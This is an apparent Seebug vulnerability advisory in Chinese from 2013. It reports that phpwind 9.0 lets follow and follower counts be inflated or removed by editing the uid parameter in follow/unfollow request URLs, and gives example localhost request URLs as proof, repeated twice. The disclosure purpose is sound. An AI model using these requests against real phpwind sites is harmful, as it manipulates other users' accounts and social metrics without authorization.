phpwind 刷关注,粉丝

2013-05-03T00:00:00
ID SSV:94442
Type seebug
Reporter Root
Modified 2013-05-03T00:00:00

Description

简要描述:

phpwind 刷关注,粉丝

详细说明:

phpwind 9.0 加关注 刷粉..直接修改uid 后面参数即可.. http://127.0.0.1:8282/index.php?m=my&c=follow&a=add&uid=1 删除也可以 http://127.0.0.1:8282/index.php?m=my&c=follow&a=delete&uid=1 看图吧

<img src="https://images.seebug.org/upload/201305/03113255b0730bc937d15ff3b1e7ae6db34f291e.jpg" alt=".jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201305/03113330179a446ede7e76fe832d4947b2790dc5.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

phpwind 9.0 加关注 刷粉..直接修改uid 后面参数即可.. http://127.0.0.1:8282/index.php?m=my&c=follow&a=add&uid=1 删除也可以 http://127.0.0.1:8282/index.php?m=my&c=follow&a=delete&uid=1 看图吧

<img src="https://images.seebug.org/upload/201305/03113255b0730bc937d15ff3b1e7ae6db34f291e.jpg" alt=".jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201305/03113330179a446ede7e76fe832d4947b2790dc5.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">